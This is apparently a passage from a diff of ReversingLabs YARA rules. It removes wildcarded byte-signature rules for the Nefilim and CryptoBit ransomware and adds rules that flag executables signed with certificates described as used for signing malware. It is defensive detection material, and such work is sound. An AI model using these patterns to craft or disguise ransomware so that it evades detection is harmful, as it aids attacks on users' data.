F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? - 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 - F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D - ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 - ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 - ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? - ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 - ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? - 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? - 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 - ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 - 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? - 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EXEC CONTROL LIMITED" and pe.signatures [ i ] . serial == "4f:5a:9b:f7:5d:a7:6b:94:96:45:47:54:73:79:3a:7d" and 1553817600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_081Df56C9A48D02571F08907 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "4f4fb099-406a-5def-9a26-46c6807cfe7f" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14730-L14746" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "25d91f09e0731ab09a05855442b72589eb30e1c7d5e4c0a7af760eea540d786f" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "08:1d:f5:6c:9a:48:d0:25:71:f0:89:07" and 1474870728 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Nefilim : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_77D5C1A3E623575999C74409Dc19753C : INFO FILE { meta: - description = "Yara rule that detects Nefilim ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "aec298c1-abf8-5446-9dbb-795f9fcf8e94" - date = "2020-06-26" - modified = "2020-07-15" + id = "8f8ce24d-8330-509a-a7a1-2727c6f8bdd9" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Nefilim.yara#L1-L150" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14748-L14764" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fae0350e51aee2777475d2222848b30fd39fa39ceea260132b0c7fbc536b3a86" + logic_hash = "54921ce39a0876511b33ac6fa088c3342e2ea7fa037423fe72825bfe9c83bce6" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Nefilim" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $create_encryption_key = { - 55 8B EC 51 A1 ?? ?? ?? ?? C1 E8 ?? 6B C0 ?? 56 50 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? - ?? 8B F0 A1 ?? ?? ?? ?? 59 89 75 ?? 73 ?? B8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 33 F6 59 59 39 35 ?? ?? ?? ?? 75 ?? 53 57 8B 3D ?? ?? ?? ?? 56 6A ?? 56 BE - ?? ?? ?? ?? 56 BB ?? ?? ?? ?? 53 FF D7 85 C0 75 ?? 6A ?? 6A ?? 50 56 53 FF D7 85 C0 - 75 ?? 50 FF 15 ?? ?? ?? ?? 5F 33 F6 5B A1 ?? ?? ?? ?? C1 E8 ?? 6B C0 ?? 68 ?? ?? ?? - ?? 56 56 50 FF 75 ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 EB ?? 5E C9 - C3 - } - $encrypt_encryption_key = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? E8 - ?? ?? ?? ?? 83 78 ?? ?? 59 72 ?? 8B 00 53 56 57 33 DB 53 53 6A ?? 53 53 68 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 39 5D ?? 0F 84 - ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BF ?? ?? ?? ?? 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B - C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 57 8B F0 FF D3 50 57 E8 ?? ?? - ?? ?? 59 59 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B C0 ?? 89 45 ?? 8D 45 ?? 50 56 6A - ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? FF 15 ?? ?? ?? - ?? 8D 45 ?? 50 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B C0 ?? 50 56 FF 75 ?? FF 15 ?? - ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $encrypt_files_p1 = { - 55 8B EC 83 E4 ?? 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 83 7D ?? ?? 8B 45 ?? 53 - 56 57 73 ?? 8D 45 ?? 33 DB 53 53 6A ?? 53 53 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 - 44 24 ?? 3B C3 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? - 6B C0 ?? 83 C0 ?? 83 F8 ?? 0F 8E ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? 89 44 24 ?? - E8 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? BE - ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 56 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? 8B 54 24 ?? - 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? 8B 54 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 15 ?? - ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 7E ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? - 33 FF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 53 53 FF 74 24 ?? FF 74 24 ?? - FF 74 24 ?? FF D7 53 FF 15 ?? ?? ?? ?? 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? - FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 - F8 ?? 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 53 03 C6 53 13 CB 51 50 FF 74 24 ?? - FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B - } - $encrypt_files_p2 = { - 4C 24 ?? 53 05 ?? ?? ?? ?? 53 13 CB 51 50 FF 74 24 ?? FF D7 53 E8 ?? ?? ?? ?? 0B C2 - 59 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? - ?? ?? 8B 3D ?? ?? ?? ?? 53 8D 44 24 ?? 50 FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 74 - 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? 81 F9 - ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? - 3B CB 0F 86 ?? ?? ?? ?? BE ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 2B 4C 24 ?? 1B 44 24 ?? 89 - 44 24 ?? 0F 88 ?? ?? ?? ?? 7F ?? 81 F9 ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 56 53 FF 15 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 53 53 FF 74 24 ?? 89 44 24 ?? FF 74 24 ?? FF 74 24 ?? - FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B - 54 24 ?? 51 56 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 FF 74 24 ?? FF 74 24 ?? FF - 74 24 ?? FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? FF 74 24 ?? 53 50 FF 15 ?? ?? ?? ?? 81 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? - 11 5C 24 ?? 39 44 24 ?? 0F 8C ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B 4C 24 ?? 39 4C 24 ?? - 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? 81 F9 ?? ?? ?? ?? 0F - } - $encrypt_files_p3 = { - 86 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 E8 ?? ?? - ?? ?? 59 89 44 24 ?? FF 15 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 FF 74 24 ?? FF D7 53 - 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B 54 24 ?? - 51 56 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 33 C0 50 50 FF 74 24 ?? FF D7 53 8D - 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? - 59 E9 ?? ?? ?? ?? 51 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? FF 15 ?? - ?? ?? ?? 53 53 33 C0 50 53 FF 74 24 ?? FF D7 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 - ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 - ?? 8B 54 24 ?? 51 FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 33 C0 50 53 - FF 74 24 ?? FF D7 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? - ?? ?? FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? - E8 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? - E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 8D 45 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 83 7D ?? ?? 8B - 4D ?? 73 ?? 8D 4D ?? 50 51 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? - 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 - 5D C3 - } - $find_files_1 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 - 57 6A ?? 5E 33 C0 33 FF 6A ?? 66 89 44 24 ?? 57 8D 45 ?? 8D 4C 24 ?? 89 74 24 ?? 89 - 7C 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 66 - 89 44 24 ?? 66 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 03 44 24 ?? 8D 4C 24 ?? 89 74 24 ?? - 89 7C 24 ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 57 8D 44 24 ?? 50 83 C8 ?? 8D 74 - 24 ?? E8 ?? ?? ?? ?? 57 8D 84 24 ?? ?? ?? ?? 50 83 C8 ?? E8 ?? ?? ?? ?? 8B DE 8D 44 - 24 ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24 - ?? 8D 8C 24 ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? - ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 - } - $find_files_2 = { - D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? F6 - 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 8D 44 24 ?? 74 ?? E8 ?? ?? - ?? ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 59 8B D8 59 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 - FF 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 21 79 - ?? 33 C0 6A ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 50 8D 44 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 59 8D 44 24 ?? E8 ?? ?? ?? ?? 6A - ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 8D - 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 5F 39 7C 24 ?? 73 ?? 8D 44 24 ?? 8B 35 ?? - ?? ?? ?? 68 - } - $find_files_3 = { - 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 ?? ?? - ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 - ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 - ?? 68 ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 - ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 ?? ?? - ?? ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? - 8B 4C 24 ?? 39 7C 24 ?? 73 ?? 8D 4C 24 ?? 83 EC ?? 8B C4 51 E8 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 - 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 33 DB - 43 53 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 53 8D B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D - 74 24 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 - CC E8 ?? ?? ?? ?? 8B E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "77:d5:c1:a3:e6:23:57:59:99:c7:44:09:dc:19:75:3c" and 1475884800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_E9756B3F38B1172Ea89Fdbdfdba5F979 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "77d7470c-0c60-5ef4-b1d9-35642c147afe" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14766-L14784" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "997a9433f907896d82f22ae323bf9cfe9aa04a2a49c5505e98adbb34277fcc15" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_* ) ) and ( $create_encryption_key ) and ( $encrypt_encryption_key ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kreamer Ltd" and ( pe.signatures [ i ] . serial == "00:e9:75:6b:3f:38:b1:17:2e:a8:9f:db:df:db:a5:f9:79" or pe.signatures [ i ] . serial == "e9:75:6b:3f:38:b1:17:2e:a8:9f:db:df:db:a5:f9:79" ) and 1492732800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Cryptobit : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_09Fb28 : INFO FILE { meta: - description = "Yara rule that detects CryptoBit ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8566e516-9884-5b20-90c4-7ed38fa96999" - date = "2020-06-26" - modified = "2020-07-15" + id = "e7701457-c6cd-5b20-b227-8a9cdcde8213" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoBit.yara#L1-L113" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14786-L14802" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ccc8a0f1c5e11211649992d0f2b309968c97b49f1c7359e62d622f364e117429" + logic_hash = "5ed65d33b73977e869460ba51271aff94811fa2f41e4a2993c47233add2f38dd" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "CryptoBit" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 - 7D ?? ?? 75 ?? FF 75 ?? EB ?? 6A ?? 59 83 C9 ?? 83 F1 ?? 89 4D ?? 6A ?? 6A ?? 6A ?? - 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? 89 45 ?? 60 BE ?? ?? ?? - ?? 56 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 33 D2 - 8B 0D ?? ?? ?? ?? F7 F1 0B C0 74 ?? FF 35 ?? ?? ?? ?? EB ?? 52 8B 0C 24 29 4D ?? 51 - FF 75 ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 0B C0 74 ?? 89 45 ?? 51 FF - 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 75 ?? 89 45 ?? 89 4D ?? FF 75 ?? - E8 ?? ?? ?? ?? EB ?? EB ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? EB ?? A1 ?? ?? ?? - ?? 01 45 ?? EB ?? EB ?? 8B 64 24 ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 61 EB ?? EB ?? 64 - 8F 05 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 4D - ?? EB ?? 8B 45 ?? C9 C2 - } - $encrypt_files_p2 = { - 55 8B EC 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? - ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? - 0B C0 74 ?? E9 ?? ?? ?? ?? 89 45 ?? 8B 15 ?? ?? ?? ?? 8B 4D ?? 0B C9 75 ?? 83 F8 ?? - 73 ?? E9 ?? ?? ?? ?? EB ?? 0B C9 75 ?? 3B C2 73 ?? 50 EB ?? 52 8F 45 ?? 83 7D ?? ?? - 75 ?? A1 ?? ?? ?? ?? 39 45 ?? 72 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? - ?? 89 45 ?? 0B C0 74 ?? 6A ?? 50 51 FF 75 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A - ?? 6A ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 89 45 ?? 60 BE ?? ?? ?? ?? - 56 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? FF 75 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF - 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 50 8B 4D ?? 8B 04 24 83 C9 ?? 83 F1 ?? 51 50 E8 ?? - ?? ?? ?? 89 45 ?? 0B C0 74 ?? 6A ?? 50 51 FF 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB - ?? 8B 64 24 ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 61 EB ?? EB ?? 64 8F 05 ?? ?? ?? ?? 83 - C4 ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? - ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 4D ?? EB ?? 33 C0 33 C9 C9 C2 - } - $find_files_p1 = { - 55 8B EC 83 C4 ?? 57 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 83 7E ?? ?? 75 ?? E8 ?? ?? ?? ?? 50 8D 46 ?? 50 E8 - ?? ?? ?? ?? 23 C0 0F 84 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 75 ?? FF 35 ?? ?? ?? ?? 8D 46 - ?? 50 E8 ?? ?? ?? ?? 23 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 0F - 84 ?? ?? ?? ?? 89 45 ?? B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 0F 84 ?? - ?? ?? ?? 89 45 ?? 8B 75 ?? 8B 7D ?? 68 ?? ?? ?? ?? 57 56 E8 ?? ?? ?? ?? 8D 57 ?? 8B - 47 ?? D1 E0 C7 04 10 ?? ?? ?? ?? C6 44 10 ?? ?? FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 8B 75 ?? 8B 7D ?? 8B 02 25 ?? ?? ?? ?? - 0F 85 ?? ?? ?? ?? 8B 02 83 E0 ?? 0F 85 ?? ?? ?? ?? 8B 02 83 E0 ?? F7 02 ?? ?? ?? ?? - 0F 85 ?? ?? ?? ?? 8D 47 ?? 50 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 42 ?? 50 8D 47 - ?? 50 E8 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 89 47 ?? F7 02 ?? ?? ?? ?? - 74 ?? 68 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? FF 77 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? - 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 48 50 FF 76 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 - } - $find_files_p2 = { - 0B C9 74 ?? FF 45 ?? E9 ?? ?? ?? ?? 83 7A ?? ?? 0F 84 ?? ?? ?? ?? 81 7A ?? ?? ?? ?? - ?? 0F 84 ?? ?? ?? ?? F7 02 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F7 02 ?? ?? ?? ?? 0F 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 8B F8 FF 76 ?? 8F 47 ?? FF 76 ?? - 8F 47 ?? FF 36 8F 07 8D 47 ?? 50 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 42 ?? 50 8D - 